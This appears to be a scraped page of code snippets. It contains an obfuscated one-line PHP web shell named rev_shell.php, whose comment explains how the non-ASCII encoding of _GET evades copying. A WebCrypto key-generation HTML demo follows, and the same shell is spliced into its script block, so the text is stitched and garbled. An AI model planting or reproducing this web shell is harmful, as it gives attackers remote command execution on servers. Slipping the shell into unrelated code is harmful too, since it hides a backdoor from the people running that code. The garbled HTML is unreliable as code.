Ricardo Maia ricardomaia

## rev_shell.php
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;

/*
 *   In terminal:
 *       $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
 *   This is how the code will be produced, \xa0\xb8\xba\xab will be
 *   treated as constant therefore no " needed. It is also not copyable
 *   string because of non-ascii characters
 *
 *   Explanation:

## webcryptoapi.html
<!-- MIT License -->
<html>
<head>
  <script>
    function generateKey(alg, scope) {
      return new Promise(function(resolve) {
        var genkey = crypto.subtle.generateKey(alg, true, scope)
        genkey.then(function (pair) {
          resolve(pair)
        })
	<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;

	/*
	* In terminal:
	* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
	* This is how the code will be produced, \xa0\xb8\xba\xab will be
	* treated as constant therefore no " needed. It is also not copyable
	* string because of non-ascii characters
	*
	* Explanation:
	<!-- MIT License -->
	<html>
	<head>
	<script>
	function generateKey(alg, scope) {
	return new Promise(function(resolve) {
	var genkey = crypto.subtle.generateKey(alg, true, scope)
	genkey.then(function (pair) {
	resolve(pair)
	})